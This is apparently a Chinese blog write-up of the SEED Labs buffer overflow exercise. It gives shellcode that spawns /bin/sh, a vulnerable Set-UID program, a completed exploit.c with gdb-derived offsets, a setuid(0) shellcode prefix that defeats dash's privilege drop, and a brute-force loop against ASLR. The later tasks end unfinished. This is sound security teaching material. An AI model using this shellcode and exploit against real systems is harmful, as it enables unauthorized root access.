SeedLab-BufferOverflow漏洞

实验概要

实验地址: https://seedsecuritylabs.org/Labs_16.04/Software/Buffer_Overflow/

       该实验室的学习目标是让学生通过将他们从课堂上学到的有关漏洞的知识付诸实践,获得有关缓冲区溢出漏洞的第一手经验。缓冲区溢出被定义为程序试图在预分配的固定长度缓冲区的边界之外写入数据的条件。恶意用户可以使用此漏洞来更改程序的流控制,从而导致执行恶意代码。此漏洞的出现是由于数据存储(例如缓冲区)和控件存储(例如返回地址)的混合:数据部分的溢出会影响程序的控制流,因为溢出会改变返回地址。

       在本实验中,将为学生提供一个具有缓冲区溢出漏洞的程序;他们的任务是开发一种利用该漏洞并最终获得root特权的方案。除攻击外,还将指导学生逐步介绍几种已在操作系统中实施的保护方案,以应对缓冲区溢出攻击。学生需要评估该计划是否有效,并解释原因。本实验涵盖以下主题:

  • Buffer overflow vulnerability and attack 缓冲区溢出漏洞和攻击
  • Stack layout in a function invocation 函数调用中的堆栈布局
  • Shellcode shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
  • Address randomization 地址随机化
    Non-executable stack 不可执行的堆栈
  • StackGuard 堆栈保护

实验任务

关闭对策

你可以使用我们预置的Ubuntu虚拟机来完成实验任务,Ubuntu和其他Linux发行版已经实现了几种安全机制,以使缓冲区溢出攻击变得困难。

为了简化攻击,我先禁用它们。然后再我们将一一启用它们,并查看我们的攻击是否仍然可以成功。

地址空间随机化: Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

$ sudo sysctl -w kernel.randomize_va_space=0

StackGuard保护方案: GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护的情况下,缓冲区溢出攻击将不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要在禁用StackGuard的情况下编译程序example.c,我们可以执行以下操作:

$ gcc -fno-stack-protector example.c

不可执行的堆栈: Ubuntu曾经允许堆栈可执行,但是现在已经发生了变化:程序(和共享库)的二进制映像必须声明它们是否需要堆栈可执行,这通过它们在程序头中标记一个字段实现。内核或动态链接器使用此标记来决定是使此正在运行的程序的堆栈是可执行的还是不可执行的。标记是由最新版本的gcc自动完成的,默认情况下,堆栈设置为不可执行。要更改此设置,请在编译程序时使用以下选项:

对于可执行堆栈:

$ gcc -z execstack -o test test.c

对于不可执行堆栈

$ gcc -z noexecstack -o test test.c

配置 /bin/sh(只限于Ubuntu16.04版本)
在Ubuntu 12.04和Ubuntu16.04中,/bin/sh 符号链接指向、bin/dash shell,但是dash shell在这两个虚拟机中有明显的不同,dash shell 在16.04中存在一个对策,来防止它自己被一个Set-UID进程执行,特别地,如果dash shell 检测到它被一个Set-UID进程执行,它立刻将有效uid更改为那个进程的真实 uid,从而在实质上删除了特权。在12.04中没有这个对策。
由于我们得受害者程序是一个Set-UID 程序,且我们得攻击依赖于/bin/sh,16.04中的对策是的我们的攻击变得困难,因此我们需要将/bin/sh链接到另一个shell上,这个shell没有如上所说的对策(在后面的任务中,我们会看到,只需要一点点努力,/bin/dash的对策可以被轻松击败),在16.04虚拟机中安装了叫作zsh的shell,我们使用如下命令将/bin/sh链接到zsh shell(12.04版本没有必要这么做。)

$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh

任务1:运行shellcode

在开始攻击前,让我们熟悉一下shellcode,shellcode即启动shell的代码,它需要被加载到内存中,这样我们可以强制存在漏洞的程序跳转到该shellcode处,考虑如下程序:

#include<stdio.h>

int main()
{
    char* name[2];
    name[0]= "/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}

在该实验中我们使用的shellcode就是上述代码的汇编版本,下面的代码展示了如何通过存储在缓冲区(buffer)中的shellcode启动shell,请编译并且运行如下代码,并常看是否调用了shell。

/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 

使用以下gcc命令编译以上代码。运行程序并描述您的观察结果。请不要忘记使用execstack选项,该选项允许从堆栈执行代码。没有此选项,程序将失败。

$ gcc -z execstack -o call_shellcode call_shellcode.c

上面的shellcode调用execve()系统调用来执行/bin/sh。此shellcode中的一些地方值得一提。

首先,第三条指令将“//sh”而不是“/sh”压入堆栈。这是因为我们在这里需要一个32位数字,而“/sh”只有24位。幸运的是,“//”等效于“/”,因此我们可以避免使用双斜杠符号。

其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址),name(数组的地址)和NULL分别存储到%ebx,%ecx和%edx寄存器中。第5行将name [0]存储到%ebx;第8行将名称存储到%ecx;第9行将%edx设置为零。还有其他方法可以将%edx设置为零(例如xorl%edx,%edx); 这里使用的那个(cdq)只是一条较短的指令:它将EAX寄存器中的值的符号(第31位)(此时为0)复制到EDX寄存器的每个位位置,基本上将%edx设置为 0.

第三,当我们将%al设置为11并执行“ int $ 0x80”时,系统调用execve()被调用。

存在漏洞的程序

将为您提供以下程序,该程序在Line➀中具有缓冲区溢出漏洞。您的工作是利用此漏洞并获得root特权。

/* Vunlerable program: stack.c */ /* You can get this program from the lab’s website */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

编译以上存在漏洞的程序,不要忘记使用 -fno-stack-protector 和 -z execstack 选项来关闭StackGuard和non-executable stack protection。编译之后,我们需要使该程序成为root拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(第①行),然后将权限更改为4755以启用Set-UID位(第②行)来实现此目的。
应当注意,更改所有权必须在开启Set-UID位之前完成,因为所有权更改将导致Set-UID位被关闭。

$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //必须要有-g才可以被检测到
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②

上面的程序有一个缓冲区溢出漏洞。它首先从名为badfile的文件中读取输入,然后将该输入传递到函数bof()中的另一个缓冲区。原始输入的最大长度可以为517个字节,但是bof()中的缓冲区只有24个字节长。由于strcpy()不检查边界,因此会发生缓冲区溢出。由于此程序是Set-root-UID程序,因此,如果普通用户可以利用此缓冲区溢出漏洞,则普通用户可能能够获得root shell。应当注意,程序从名为badfile的文件获取其输入。该文件受用户控制。现在,我们的目标是为badfile创建内容,以便当易受攻击的程序将内容复制到其缓冲区中时,可以生成根shell。

任务2:利用漏洞

我们为您提供了部分完成的利用代码,称为“exploit.c”。该代码的目的是为badfile构造内容。在此代码中,shellcode提供给您。您需要开发其余部分。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行存在漏洞的程序stack.c。如果您的漏洞利用程序正确实施,则应该能够获得root shell:

分析:
缓冲区溢出漏洞的关键在于,将溢出的数据,覆盖程序调用栈中的return address,使该return address指向shellcode,这时,函数执行完毕后,将return address 存储到eip中,转而执行return address指向的代码,而这个代码就是shellcode。
实验已经提供shellcode,我们所需要做的就是将shellcode放入stack程序的内存空间,并且在stack调用bof()时,将bof()函数的返回地址(return address)更改为shellcode在内存中的地址。
参考https://www.cnblogs.com/folm/p/11920696.html,将exploit.c更改成如下:

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    strcpy(buffer+80,shellcode);           //将shellcode拷贝至buffer+80处。
    strcpy(buffer+0x20,"\xD7\xEA\xFF\xBF");     //在buffer特定偏移处起始的四个字节覆盖sellcode地址
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

现在针对增添的语句进行解释:

strcpy(buffer+80,shellcode);

即将shellcode保存在buffer+80地址处,这里的地址可以随意更改,但是不能让return adress落在该范围内。

strcpy(buffer+0x20,"\xD7\xEA\xFF\xBF");

这里buffer+0x20是根据程序运行而定的,buffer+0x20指向bof函数调用时的返回地址(return address),\xD7\xEA\xFF\xBF为shellcode的起始地址,由如下操作来确定这两个值。

确定shellcode 存放地址:

gdb stack
b main //在main函数出下断点
r //运行stack
p /x &str //查看str的地址,shellcode代码存储在badfle文件的第80个字节处,在stack.c程序中,从badfile文件读取数据到stack的str变量中,查看该变量的起始地址,加上80(0x50)即是shellcode的起始位置。

实验图如下
在这里插入图片描述
shellcode起始位置即0xbfffea87+0x50=0xbfffead7
确定return address:
可以参考https://www.cnblogs.com/folm/p/11920696.html中的方法,但是在本文章中,不同于他的方法,我使用如下方法查看return address

gdb stack
b bof
r

查看汇编代码,如下:
在这里插入图片描述
红框上一处代码为将str变量入栈,红框处汇编代码指出,将buffer变量存储在ebp-0x1c处,可以确定stack.c的函数bof()中的buffer变量距离ebp的距离是0x1c,0x1c+4(十进制)即是return address处的地址,即0x20.

关键点: 请编译存在漏洞的程序stack.c。请注意exploit.c程序(生成badfile)可以在编译时默认开启StackGuard Protection,因为我们不是溢出exploit.c程序的缓冲区,而是溢出stack.c的缓冲区(stack.c的StackGurad Protection必须关闭)。

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program

运行后出现 “#”代表实验成功。 实验如下图
在这里插入图片描述

任务3:击败dash对策

正如我们之前解释的,在Ubuntu16.04中,当dash shell检测到有效uid不等于真实uid,它便丢弃特权(drop privileges),这可以在dash 程序的changelog中观察到,我们可以在line①看到一个附加的检查(比较了真实uid/gid和有效uid/gid)

// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) {++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }

dash实现的对策可以被击败,一个方法是:不再我们得shellcode中调用/bin/sh,转而调用其他shell 程序。这个 方法需要另一个shell程序,比如zsh。(这可真是个好方法啊 - -!)另一个方法是在调用dash 程序前将受害者进程(victim process)的真实uid变为0。我们可以在执行shellcode中的execve()之前通过setuid(0)来实现该方法,在本次任务中,我们将会使用该方法。首先,将/bin/sh符号链接指回/bin/dash(因为前面指向了zsh)

$ sudo ln -sf /bin/dash /bin/sh

为了观察dash的对策是如何工作的,并且如何用setuid(0)系统调用击败该对策,我们写了如下c程序。我们首先注释掉line①,并且将程序作为Set-uid程序运行(程序的拥有者是root)。然后取消line①的注释,再运行程序。观察发现。

未取消注释: 获取的是用户权限的shell
在这里插入图片描述
取消注释: 利用setuid(0),获取root权限shell。
在这里插入图片描述

// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
// setuid(0); ➀
execve("/bin/sh", argv, NULL);
return 0;
}

上述程序可以使用如下命令进行编译和设置(将该程序置为root所拥有的Set-UID程序)

$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test

从上面的实验我们可以看到setuid(0)的作用,在我们调用execve()之前,在我们得shellcode代码的开头加上如下汇编代码。

char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

更新后的shellcode添加了4条指令:
(1)ebx置零(Line 2)
(2)eax=0xd5 (Line 1+Line 3,0xd5是setuid的系统调用号)
(3)执行系统调用(Line 4)
使用这个shellcode,我们可以尝试在/bin/sh链接到/bin/dash时,攻击存在漏洞的程序。使用exploit.c(shellcode变为上述代码),模仿Task 2 攻击stack.c,结果如下,利用setuid(0)获取root权限。
在这里插入图片描述

任务3:击败地址随机化(Address Randomization)

在32位linux机器上,栈只有19bit的entropy(不知道啥意思),这意味着栈的基地址有2^19=524288种可能性,这个数字并不高,可以通过暴力破解轻松耗尽,在本次任务,我们使用这样的方法在32位机器上来击败address randomization对策,首先我们使用如下命令打开Ubuntu的address randomization,接着使用与任务2同样的方法攻击stack.c。

sudo /sbin/sysctl -w kernel.randomize_va_space=2

然后我们使用暴力手段重复攻击漏洞程序,希望我们放在badfile中的地址最终可以正确。你可以使用如下的shell脚本来循环运行漏洞程序,如果你的攻击成功,这个脚本会停止,否则它会一直运行。

#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
关闭StackGuard保护

在开始此次任务前,关闭address randomization,否则你会不知道是哪项保护措施实现了保护功能。

打开Non-executable Stack保护
  • 2
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值